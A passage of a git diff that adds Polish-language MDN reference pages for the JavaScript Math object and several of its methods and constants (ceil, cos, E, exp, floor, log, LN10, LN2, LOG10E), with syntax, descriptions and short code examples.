function">atan2<span class="token punctuation">(</span></span>y<span class="token punctuation">,</span> ±<span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // PI/2 for y > 0. +</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±y<span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±PI for finite y > 0. +</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±y<span class="token punctuation">,</span> <span class="token operator">+</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±0 for finite y > 0. +</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">Infinity</span><span class="token punctuation">,</span> x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // ±PI/2 for finite x. +</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">Infinity</span><span class="token punctuation">,</span> <span class="token operator">-</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // ±3*PI/4. +</span>Math<span class="token punctuation">.</span><span class="token function">atan2<span class="token punctuation">(</span></span>±<span class="token number">Infinity</span><span class="token punctuation">,</span> <span class="token operator">+</span><span class="token number">Infinity</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // ±PI/4.</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.acos()")}}</li> + <li>{{jsxref("Math.asin()")}}</li> + <li>{{jsxref("Math.atan()")}}</li> + <li>{{jsxref("Math.cos()")}}</li> + <li>{{jsxref("Math.sin()")}}</li> + <li>{{jsxref("Math.tan()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/ceil/index.html b/files/pl/web/javascript/referencje/obiekty/math/ceil/index.html new file mode 100644 index 0000000000..8e48d70931 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/ceil/index.html @@ -0,0 +1,49 @@ +--- +title: Math.ceil() +slug: Web/JavaScript/Referencje/Obiekty/Math/ceil +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/ceil +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca najmniejszą liczbę całkowitą większą od lub równą danej.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.ceil(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>ceil</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.ceil()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<h4 id="Przyk.C5.82ad:_Zastosowanie_Math.ceil" name="Przyk.C5.82ad:_Zastosowanie_Math.ceil">Przykład: Zastosowanie <code>Math.ceil()</code></h4> + +<p>Poniższa funkcja zwraca wartość metody ceil dla zmiennej <code>x</code>:</p> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">ceil<span class="token punctuation">(</span></span><span class="token punctuation">.</span><span class="token number">95</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1 +</span>Math<span class="token punctuation">.</span><span class="token function">ceil<span class="token punctuation">(</span></span><span class="token number">4</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 4 +</span>Math<span class="token punctuation">.</span><span class="token function">ceil<span class="token punctuation">(</span></span><span class="token number">7.004</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 8</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.abs()")}}</li> + <li>{{jsxref("Math.floor()")}}</li> + <li>{{jsxref("Math.round()")}}</li> + <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/cos/index.html b/files/pl/web/javascript/referencje/obiekty/math/cos/index.html new file mode 100644 index 0000000000..6634e7d96e --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/cos/index.html @@ -0,0 +1,52 @@ +--- +title: Math.cos() +slug: Web/JavaScript/Referencje/Obiekty/Math/cos +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/cos +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca cosinus danej liczby.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="syntaxbox"><code>Math.cos(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Metoda <code>cos</code> zwraca wartość liczbową pomiędzy -1 a 1, która reprezentuje cosinus kąta.</p> + +<p>Ponieważ <code>cos()</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.cos()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.cos" name="Przyk.C5.82ad:_Zastosowanie_Math.cos">Przykład: Zastosowanie <code>Math.cos()</code></h3> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">cos<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1 +</span>Math<span class="token punctuation">.</span><span class="token function">cos<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0.5403023058681398 +</span> +Math<span class="token punctuation">.</span><span class="token function">cos<span class="token punctuation">(</span></span>Math<span class="token punctuation">.</span>PI<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // -1 +</span>Math<span class="token punctuation">.</span><span class="token function">cos<span class="token punctuation">(</span></span><span class="token number">2</span> <span class="token operator">*</span> Math<span class="token punctuation">.</span>PI<span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 1</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.acos()")}}</li> + <li>{{jsxref("Math.asin()")}}</li> + <li>{{jsxref("Math.atan()")}}</li> + <li>{{jsxref("Math.atan2()")}}</li> + <li>{{jsxref("Math.sin()")}}</li> + <li>{{jsxref("Math.tan()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/e/index.html b/files/pl/web/javascript/referencje/obiekty/math/e/index.html new file mode 100644 index 0000000000..76659e8c1d --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/e/index.html @@ -0,0 +1,40 @@ +--- +title: Math.E +slug: Web/JavaScript/Referencje/Obiekty/Math/E +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/E +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Stała Eulera stanowiąca podstawę logarytmów naturalnych, w przybliżeniu 2.718.</p> + +<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.E</mi></mstyle><mo>=</mo><mi>e</mi><mo>≈</mo><mn>2.718</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.E}} = e \approx 2.718</annotation></semantics></math></p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>E</code> jest statyczną własnością obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.E</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_E" name="Przyk.C5.82ad:_Zastosowanie_E">Przykład: Zastosowanie <code>Math.E</code></h3> + +<p>Poniższa funkcja zwraca e:</p> + +<pre class="brush: js language-js">function getNapier() { + return Math.E; +} + +<code class="language-js"><span class="token function">getNapier<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 2.718281828459045</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.exp()")}}</li> + <li>{{jsxref("Math.log()")}}</li> + <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/exp/index.html b/files/pl/web/javascript/referencje/obiekty/math/exp/index.html new file mode 100644 index 0000000000..f7bc13ecbb --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/exp/index.html @@ -0,0 +1,49 @@ +--- +title: Math.exp() +slug: Web/JavaScript/Referencje/Obiekty/Math/exp +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/exp +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca e<sup>x</sup>, gdzie <code>x</code> to argument, a e to {{jsxref("Math.E", "stała Eulera", "", 1)}}, podstawa logarytmu naturalnego.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.exp(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>exp</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.exp()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.exp" name="Przyk.C5.82ad:_Zastosowanie_Math.exp">Przykład: Zastosowanie <code>Math.exp()</code></h3> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">exp<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 0.36787944117144233 +</span>Math<span class="token punctuation">.</span><span class="token function">exp<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 1 +</span>Math<span class="token punctuation">.</span><span class="token function">exp<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 2.718281828459045</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.E")}}</li> + <li>{{jsxref("Math.expm1()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.log()")}}</li> + <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.pow()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/floor/index.html b/files/pl/web/javascript/referencje/obiekty/math/floor/index.html new file mode 100644 index 0000000000..3fea41b72f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/floor/index.html @@ -0,0 +1,46 @@ +--- +title: Math.floor() +slug: Web/JavaScript/Referencje/Obiekty/Math/floor +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/floor +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca największą liczbę całkowitą mniejszą od lub równą danej.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.floor(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>floor</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.floor()</code>, a nie jak do metody instancji obiektu {{jsxref("Math")}} utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.floor" name="Przyk.C5.82ad:_Zastosowanie_Math.floor">Przykład: Zastosowanie <code>Math.floor()</code></h3> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">floor<span class="token punctuation">(</span></span> <span class="token number">45.95</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 45 +</span>Math<span class="token punctuation">.</span><span class="token function">floor<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">45.95</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // -46</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.abs()")}}</li> + <li>{{jsxref("Math.ceil()")}}</li> + <li>{{jsxref("Math.round()")}}</li> + <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/index.html b/files/pl/web/javascript/referencje/obiekty/math/index.html new file mode 100644 index 0000000000..350fb3a7de --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/index.html @@ -0,0 +1,94 @@ +--- +title: Math +slug: Web/JavaScript/Referencje/Obiekty/Math +tags: + - Dokumentacja_JavaScript + - Dokumentacje + - JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Reference/Global_Objects/Math +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Wbudowany obiekt zawierający własności i metody związane z funkcjami i stałymi matematycznymi. Na przykład własność {{jsxref("Math.PI", "PI")}} obiektu <code>Math</code> zawiera wartość liczby pi.</p> + +<h2 id="Tworzony_przez" name="Tworzony_przez">Tworzony przez</h2> + +<p>Obiekt <code>Math</code> w języku JavaScript jest predefiniowanym obiektem najwyższego poziomu. Można z niego korzystać od razu, bez korzystania z konstruktora lub wywoływania tworzącej metody.</p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wszystkie własności i metody obiektu <code>Math</code> są statyczne. Do stałej pi odwołujemy się poprzez <code>Math.PI</code>, a funkcję sinus wywołujemy jako <code>Math.sin(x)</code>, gdzie <code>x</code> jest argumentem metody. Stałe zdefiniowane są z pełną precyzją liczb rzeczywistych JavaScriptu.</p> + +<p>Czasami wygodniej jest skorzystać z polecenia {{jsxref("with")}}, kiedy w pewnym fragmencie kodu wykonywane jest wiele obliczeń korzystających z metod i stałych obiektu <code>Math</code>. Unika się wtedy wielokrotnego wpisywania "Math". Na przykład:</p> + +<pre class="brush: js">with (Math) { + a = PI * r*r; + y = r*sin(theta); + x = r*cos(theta); +} +</pre> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt>{{jsxref("Math.E")}}</dt> + <dd>stała Eulera, podstawa logarytmu naturalnego, w przybliżeniu 2.718.</dd> + <dt>{{jsxref("Math.LN2")}}</dt> + <dd>logarytm naturalny liczby 2, w przybliżeniu 0.693.</dd> + <dt>{{jsxref("Math.LN10")}}</dt> + <dd>logarytm naturalny liczby 10, w przybliżeniu 2.302.</dd> + <dt>{{jsxref("Math.LOG2E")}}</dt> + <dd>logarytm o podstawie 2 z liczby E, w przybliżeniu 1.442.</dd> + <dt>{{jsxref("Math.LOG10E")}}</dt> + <dd>logarytm o podstawie 10 z liczby E, w przybliżeniu 0.434.</dd> + <dt>{{jsxref("Math.PI")}}</dt> + <dd>stosunek obwodu okręgu do jego średnicy, w przybliżeniu 3.14159.</dd> + <dt>{{jsxref("Math.SQRT1_2")}}</dt> + <dd>pierwiastek kwadratowy z liczby 1/2, albo, inaczej mówiąc, odwrotność pierwiastka kwadratowego z liczby 2, w przybliżeniu 0.707.</dd> + <dt>{{jsxref("Math.SQRT2")}}</dt> + <dd>pierwiastek kwadratowy z liczby 2, w przybliżeniu 1.414.</dd> +</dl> + +<h2 id="Metody" name="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("Math.abs()")}}</dt> + <dd>zwraca wartość bezwzględną danej liczby.</dd> + <dt>{{jsxref("Math.acos()")}}</dt> + <dd>zwraca arcus cosinus (w radianach) danej liczby.</dd> + <dt>{{jsxref("Math.asin()")}}</dt> + <dd>zwraca arcus sinus (w radianach) danej liczby.</dd> + <dt>{{jsxref("Math.atan()")}}</dt> + <dd>zwraca arcus tangens (w radianach) danej liczby.</dd> + <dt>{{jsxref("Math.atan2()")}}</dt> + <dd>zwraca kąt (w radianach) utworzony przez oś OX i prostą przechodzącą przez punkt o podanych współrzędnych.</dd> + <dt>{{jsxref("Math.ceil()")}}</dt> + <dd>zwraca najmniejszą liczbę całkowitą większą od lub równą danej.</dd> + <dt>{{jsxref("Math.cos()")}}</dt> + <dd>zwraca cosinus danej liczby.</dd> + <dt>{{jsxref("Math.exp()")}}</dt> + <dd>zwraca <code>E<sup>x</sup></code>, gdzie <code>x</code> to argument, a <code>E</code> to stała Eulera.</dd> + <dt>{{jsxref("Math.floor()")}}</dt> + <dd>zwraca największą liczbę całkowitą mniejszą od lub równą danej.</dd> + <dt>{{jsxref("Math.log()")}}</dt> + <dd>zwraca logarytm naturalny (tj. o podstawie E) z danej liczby.</dd> + <dt>{{jsxref("Math.max()")}}</dt> + <dd>zwraca większą z dwóch liczb.</dd> + <dt>{{jsxref("Math.min()")}}</dt> + <dd>zwraca mniejszą z dwóch liczb.</dd> + <dt>{{jsxref("Math.pow()")}}</dt> + <dd>zwraca daną liczbę podniesioną do danej potęgi.</dd> + <dt>{{jsxref("Math.random()")}}</dt> + <dd>zwraca liczbą pseudolosową z przedziału [0, 1).</dd> + <dt>{{jsxref("Math.round()")}}</dt> + <dd>zwraca daną liczbę zaokrągloną do najbliższej liczby całkowitej.</dd> + <dt>{{jsxref("Math.sin()")}}</dt> + <dd>zwraca sinus danej liczby.</dd> + <dt>{{jsxref("Math.sqrt()")}}</dt> + <dd>zwraca pierwiastek kwadratowy danej liczby.</dd> + <dt>{{jsxref("Math.tan()")}}</dt> + <dd>zwraca tangens danej liczby.</dd> +</dl> diff --git a/files/pl/web/javascript/referencje/obiekty/math/ln10/index.html b/files/pl/web/javascript/referencje/obiekty/math/ln10/index.html new file mode 100644 index 0000000000..7b05143a06 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/ln10/index.html @@ -0,0 +1,42 @@ +--- +title: Math.LN10 +slug: Web/JavaScript/Referencje/Obiekty/Math/LN10 +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN10 +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Logarytm naturalny liczby 10, w przybliżeniu 2.302.</p> + +<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN10</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>10</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>2.302</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN10}} = \ln(10) \approx 2.302</annotation></semantics></math></p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>LN10</code> jest statyczną własnością obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.LN10</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_LN10" name="Przyk.C5.82ad:_Zastosowanie_LN10">Przykład: Zastosowanie <code>Math.LN10</code></h3> + +<p>Poniższa funkcja zwraca logarytm naturalny liczby 10:</p> + +<pre class="brush:js language-js">function getNatLog10() { + return Math.LN10; +} + +getNatLog10(); <code class="language-js"><span class="token comment">// 2.302585092994046</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.exp()")}}</li> + <li>{{jsxref("Math.log()")}}</li> + <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/ln2/index.html b/files/pl/web/javascript/referencje/obiekty/math/ln2/index.html new file mode 100644 index 0000000000..aed4335b9f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/ln2/index.html @@ -0,0 +1,40 @@ +--- +title: Math.LN2 +slug: Web/JavaScript/Referencje/Obiekty/Math/LN2 +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LN2 +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Logarytm naturalny liczby 2, w przybliżeniu 0.693</p> + +<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LN2</mi></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mn>2</mn><mo stretchy="false">)</mo><mo>≈</mo><mn>0.693</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LN2}} = \ln(2) \approx 0.693</annotation></semantics></math></p> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ponieważ <code>LN2</code> jest statyczną własnością obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.LN2</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_LN2" name="Przyk.C5.82ad:_Zastosowanie_LN2">Przykład: Zastosowanie <code>Math.LN2</code></h3> + +<p>Poniższa funkcja zwraca logarytm naturalny liczby 2:</p> + +<pre class="brush:js language-js">function getNatLog2() { + return Math.LN2; +} + +getNatLog2(); <code class="language-js"><span class="token comment">// 0.6931471805599453</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.exp()")}}</li> + <li>{{jsxref("Math.log()")}}</li> + <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/log/index.html b/files/pl/web/javascript/referencje/obiekty/math/log/index.html new file mode 100644 index 0000000000..14e292b04f --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/log/index.html @@ -0,0 +1,54 @@ +--- +title: Math.log() +slug: Web/JavaScript/Referencje/Obiekty/Math/log +tags: + - JavaScript + - Math + - Method +translation_of: Web/JavaScript/Reference/Global_Objects/Math/log +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca logarytm naturalny (o podstawie {{jsxref("Math.E", "e")}}) z danej liczby.</p> + +<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>></mo><mn>0</mn><mo>,</mo><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.log</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext>the unique</mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><msup><mi>e</mi><mi>y</mi></msup><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x > 0, \mathtt{\operatorname{Math.log}(x)} = \ln(x) = \text{the unique} \; y \; \text{such that} \; e^y = x</annotation></semantics></math></p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>Math.log(<var>x</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>x</code> </dt> + <dd>liczba.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli wartość liczby <code>x</code> jest ujemna, zwracaną wartością jest zawsze {{jsxref("NaN")}}.</p> + +<p>Ponieważ <code>log()</code> jest statyczną metodą obiektu {{jsxref("Math")}}, zawsze odwołujemy się do niej poprzez <code>Math.log()</code>, a nie jak do metody instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_Math.log" name="Przyk.C5.82ad:_Zastosowanie_Math.log">Przykład: Zastosowanie <code>Math.log()</code></h3> + +<p> </p> + +<pre class="brush: js language-js"><code class="language-js">Math<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // NaN, out of range +</span>Math<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // -Infinity +</span>Math<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // 0 +</span>Math<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // 2.302585092994046</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.exp()")}}</li> + <li>{{jsxref("Math.log1p()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.log10()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.log2()")}} {{experimental_inline}}</li> + <li>{{jsxref("Math.pow()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/math/log10e/index.html b/files/pl/web/javascript/referencje/obiekty/math/log10e/index.html new file mode 100644 index 0000000000..33765632e0 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/math/log10e/index.html @@ -0,0 +1,44 @@ +--- +title: Math.LOG10E +slug: Web/JavaScript/Referencje/Obiekty/Math/LOG10E +tags: + - JavaScript + - Math + - Property +translation_of: Web/JavaScript/Reference/Global_Objects/Math/LOG10E +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Logarytm o podstawie 10 z E, w przybliżeniu 0.434.</p> + +<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mi>Math.LOG10E</mi></mstyle><mo>=</mo><msub><mo lspace="0em" rspace="0em">log</mo><mn>10</mn></msub><mo stretchy="false">(</mo><mi>e</mi><mo stretchy="false">)</mo><mo>≈</mo><mn>0.434</mn></mrow><annotation encoding="TeX">\mathtt{\mi{Math.LOG10E}} = \log_10(e) \approx 0.434</annotation></semantics></math></p> + +<div>{{js_property_attributes(0, 0, 0)}}</div> + +<h2 id="sect1"> </h2> + +<h3 id="Opis" name="Opis">Opis</h3> + +<p>Ponieważ <code>LOG10E</code> jest statyczną własnością obiektu <code>Math</code>, zawsze odwołujemy się do niej poprzez <code>Math.LOG10E</code>, a nie jak do własności instancji obiektu Math utworzonej przez użytkownika.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_LOG10E" name="Przyk.C5.82ad:_Zastosowanie_LOG10E">Przykład: Zastosowanie <code>Math.LOG10E</code></h3> + +<p>Poniższa funkcja zwraca logarytm o podstawie 10 z E:</p> + +<pre class="brush:js language-js">function getLog10e() { + return Math.LOG10E; +} + +getLog10e();<code class="language-js"><span class="token comment"> // 0.4342944819032518</span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("Math.exp()")}}</li> + <li>{{jsxref("Math.log()")}}</li> + <li>{{jsxref("Math.log10()")}} 